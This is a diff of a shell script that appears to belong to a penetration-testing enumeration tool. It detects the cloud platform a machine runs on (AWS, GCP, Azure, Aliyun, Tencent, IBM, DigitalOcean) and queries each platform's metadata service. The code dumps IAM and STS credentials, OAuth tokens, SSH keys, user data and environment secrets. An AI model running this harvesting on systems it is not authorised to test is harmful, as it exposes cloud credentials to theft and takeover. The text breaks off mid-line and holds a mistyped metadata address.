aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - if [ "$aliyun_token" ]; then - print_2title "Aliyun ECS Enumeration" - print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" - # Todo: print_info "Hacktricks Documents needs to be updated" - echo "" - print_3title "Instance Info" - i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) - [ "$i_hostname" ] && echo "Hostname: $i_hostname" - i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId - i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) - [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" - i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) - [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" - i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) - [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" - i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) - [ "$i_region_id" ] && echo "Region ID: $i_region_id" - i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) - [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" - echo "" - print_3title "Network Info" - i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) - [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" - i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) - [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" - net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) - [ "$net_dns" ] && echo "DNS: $net_dns" - - echo "========" - for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do - echo " Mac: $mac" - echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) - echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) - echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) - echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) - echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) - echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) - echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) - echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) - echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) - echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) - echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) - echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) - echo "=======" - done - echo "" - print_3title "Service account " - for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do - echo " Name: $sa" - echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") - echo " ==============" - done - echo "" - print_3title "Possbile admin ssh Public keys" - for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do - echo " Name: $key" - echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") - echo " ==============" - done - - fi -fi -if [ "$is_tencent_cvm" = "Yes" ]; then - tencent_req="" - if [ "$(command -v curl)" ]; then - tencent_req='curl -sfkG' - elif [ "$(command -v wget)" ]; then - tencent_req='wget -q -O ' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - - print_2title "Tencent CVM Enumeration" - print_info "https://cloud.tencent.com/document/product/213/4934" - # Todo: print_info "Hacktricks Documents needs to be updated" - - echo "" - print_3title "Instance Info" - i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id) - [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account" - i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname) - [ "$i_hostname" ] && echo "Hostname: $i_hostname" - i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name) - [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" - i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type) - [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" - i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region) - [ "$i_region_id" ] && echo "Region ID: $i_region_id" - i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone) - [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" - - echo "" - print_3title "Network Info" - i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4) - [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4" - - - echo "========" - for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do - echo " Mac: $mac" - echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/public-ipv4s) - echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/vpc-id) - echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/subnet-id) - - for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s); do - echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/local-ipv4) - echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/gateway) - echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4) - echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4-mode) - echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/subnet-mask) - done - echo "=======" - done - - echo "" - print_3title "Service account " - for sa in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do - echo " Name: $sa" - echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa") - echo " ==============" - done - - echo "" - print_3title "Possbile admin ssh Public keys" - for key in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do - echo " Name: $key" - echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key") - echo " ==============" - done -fi -if [ "$is_gcp" = "Yes" ]; then - gcp_req="" - if [ "$(command -v curl)" ]; then - gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' - elif [ "$(command -v wget)" ]; then - gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - # GCP Enumeration - if [ "$gcp_req" ]; then - print_2title "Google Cloud Platform Enumeration" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" - ## GC Project Info - p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') - [ "$p_id" ] && echo "Project-ID: $p_id" - p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') - [ "$p_num" ] && echo "Project Number: $p_num" - pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') - [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" - p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') - [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" - # OSLogin Info - osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) - [ "$osl_u" ] && echo "OSLogin users: $osl_u" - osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) - [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" - osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) - [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" - osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) - [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" - # Instance Info - inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) - [ "$inst_d" ] && echo "Instance Description: " - inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) - [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" - inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) - [ "$inst_id" ] && echo "Instance ID: $inst_id" - inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) - [ "$inst_img" ] && echo "Instance Image: $inst_img" - inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) - [ "$inst_mt" ] && echo "Machine Type: $inst_mt" - inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) - [ "$inst_n" ] && echo "Instance Name: $inst_n" - inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) - [ "$inst_tag" ] && echo "Instance tags: $inst_tag" - inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) - [ "$inst_zone" ] && echo "Zone: $inst_zone" - inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") - [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" - inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") - [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" - inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") - [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" - inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") - [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" - inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") - [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" - inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") - [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" - echo "" - print_3title "Interfaces" - for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do - echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") - echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") - echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") - echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") - echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") - echo " ============== " - done - - echo "" - print_3title "User Data" - echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") - echo "" - echo "" - print_3title "Service Accounts" - for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do - echo " Name: $sa" - echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") - echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") - echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") - echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" - echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") - echo " ============== " - done - fi -fi -# AWS ECS Enumeration -if [ "$is_aws_ecs" = "Yes" ]; then - print_2title "AWS ECS Enumeration" - - aws_ecs_req="" - if [ "$(command -v curl)" ]; then - aws_ecs_req='curl -s -f' - elif [ "$(command -v wget)" ]; then - aws_ecs_req='wget -q -O -' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - if [ "$aws_ecs_metadata_uri" ]; then - print_3title "Container Info" - exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" - echo "" - - print_3title "Task Info" - exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" - echo "" - else - echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" - fi - if [ "$aws_ecs_service_account_uri" ]; then - print_3title "IAM Role" - exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" - echo "" - else - echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" - fi -fi -# AWS EC2 Enumeration -if [ "$is_aws_ec2" = "Yes" ]; then - print_2title "AWS EC2 Enumeration" - - HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" - URL="http://169.254.169.254/latest/meta-data" - - aws_req="" - if [ "$(command -v curl)" ]; then - aws_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - aws_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aws_req" ]; then - printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" - printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" - printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" - printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" - printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" - printf "region: "; eval $aws_req "$URL/placement/region"; echo "" - echo "" - print_3title "Account Info" - exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" - echo "" - print_3title "Network Info" - for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do - echo "Mac: $mac" - printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" - printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" - printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" - echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" - printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" - echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" - printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" - echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" - echo "" - done - echo "" - print_3title "IAM Role" - exec_with_jq eval $aws_req "$URL/iam/info"; echo "" - for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do - echo "Role: $role" - exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" - echo "" - done - - echo "" - print_3title "User Data" - eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" - - echo "" - echo "EC2 Security Credentials" - exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" - - print_3title "SSM Runnig" - ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," - fi -fi -# AWS Lambda Enumeration -if [ "$is_aws_lambda" = "Yes" ]; then - print_2title "AWS Lambda Enumeration" - printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME - printf "Region: "; env | grep AWS_REGION - printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY - printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID - printf "Session token: "; env | grep AWS_SESSION_TOKEN - printf "Security token: "; env | grep AWS_SECURITY_TOKEN - printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API - printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") -fi -# AWS Codebuild Enumeration -if [ "$is_aws_codebuild" = "Yes" ]; then - print_2title "AWS Codebuild Enumeration" - aws_req="" - if [ "$(command -v curl)" ]; then - aws_req="curl -s -f" - elif [ "$(command -v wget)" ]; then - aws_req="wget -q -O -" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - echo "The addresses are in /codebuild/output/tmp/env.sh" - fi - if [ "$aws_req" ]; then - print_3title "Credentials" - CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) - URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig - exec_with_jq eval $aws_req "$URL_CREDS"; echo "" - print_3title "Container Info" - METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) - exec_with_jq eval $aws_req "$METADATA_URL"; echo "" - fi -fi -# DO Droplet Enumeration -if [ "$is_do" = "Yes" ]; then - print_2title "DO Droplet Enumeration" - do_req="" - if [ "$(command -v curl)" ]; then - do_req='curl -s -f ' - elif [ "$(command -v wget)" ]; then - do_req='wget -q -O - ' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - if [ "$do_req" ]; then - URL="http://169.254.169.254/metadata" - printf "Id: "; eval $do_req "$URL/v1/id"; echo "" - printf "Region: "; eval $do_req "$URL/v1/region"; echo "" - printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" - printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" - printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" - printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; - printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; - printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; - printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; - printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; - fi -fi -# IBM Cloud Enumeration -if [ "$is_ibm_vm" = "Yes" ]; then - print_2title "IBM Cloud Enumeration" - if ! [ "$IBM_TOKEN" ]; then - echo "Couldn't get the metadata token:(" - else - TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" - ACCEPT_HEADER="Accept: application/json" - URL="http://169.254.169.254/latest/meta-data" - - ibm_req="" - if [ "$(command -v curl)" ]; then - ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" - elif [ "$(command -v wget)" ]; then - ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - if [ "$ibm_req" ]; then - print_3title "Instance Details" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" - print_3title "Keys and User data" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" - print_3title "Placement Groups" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" - print_3title "IAM credentials" - exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" - fi - fi -fi -# Azure VM Enumeration -if [ "$is_az_vm" = "Yes" ]; then - print_2title "Azure VM Enumeration" - HEADER="Metadata:true" - URL="http://169.254.169.254/metadata" - API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions - - az_req="" - if [ "$(command -v curl)" ]; then - az_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - az_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - if [ "$az_req" ]; then - print_3title "Instance details" - exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" - print_3title "Load Balancer details" - exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" - print_3title "Management token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" - print_3title "Graph token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - - print_3title "Vault token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" - print_3title "Storage token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" - fi -fi -if [ "$check_az_app" = "Yes" ]; then - print_2title "Azure App Service Enumeration" - echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" - HEADER="secret:$IDENTITY_HEADER" - az_req="" - if [ "$(command -v curl)" ]; then - az_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - az_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - if [ "$az_req" ]; then - print_3title "Management token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" - print_3title "Graph token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - - print_3title "Vault token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" - print_3title "Storage token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" - fi -fi +########################################### +#-----------) Cloud functions (-----------# +########################################### + +GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" +GCP_BAD_SCOPES="/cloud-platform|/compute" + +exec_with_jq(){ + if [ "$(command -v jq)" ]; then + $@ | jq 2>/dev/null; + if ! [ $? -eq 0 ]; then + $@; + fi + else + $@; + fi +} + +check_gcp(){ + is_gcp="No" + if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_gcp="Yes" + fi +} + +check_do(){ + is_do="No" + if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then + is_do="Yes" + fi +} + +check_aliyun_ecs () { + is_aliyun_ecs="No" + if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then + is_aliyun_ecs="Yes" + fi +} + +check_tencent_cvm () { + is_tencent_cvm="No" + if [ "$(cat cloud.cfg | grep tencent)" ]; then + is_tencent_cvm="Yes" + fi +} + +check_ibm_vm(){ + is_ibm_vm="No" + if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then + curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 + if [ "$?" -eq 0 ]; then + IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) + is_ibm_vm="Yes" + fi + fi +} + +check_aws_ecs(){ + is_aws_ecs="No" + if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q ECS_CONTAINER_METADATA_URI); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then + is_aws_ecs="Yes"; + fi + + if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + fi +} + +check_aws_ec2(){ + is_aws_ec2="No" + is_aws_ec2_beanstalk="No" + + if [ -d "/var/log/amazon/" ]; then + is_aws_ec2="Yes" + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + + else + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then + is_aws_ec2="Yes" + fi + fi + + if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then + is_aws_ec2_beanstalk="Yes" + fi +} + +check_aws_lambda(){ + is_aws_lambda="No" + + if (env | grep -q AWS_LAMBDA_); then + is_aws_lambda="Yes" + fi +} + +check_aws_codebuild(){ + is_aws_codebuild="No" + + if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then + is_aws_codebuild="Yes" + fi +} + +check_az_vm(){ + is_az_vm="No" + + if [ -d "/var/log/azure/" ]; then + is_az_vm="Yes" + + elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then + is_az_vm="Yes" + fi +} + +check_az_app(){ + is_az_app="No" + + if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then + is_az_app="Yes" + fi +} + + +check_gcp +print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ecs +print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ec2 +print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_lambda +print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_codebuild +print_list 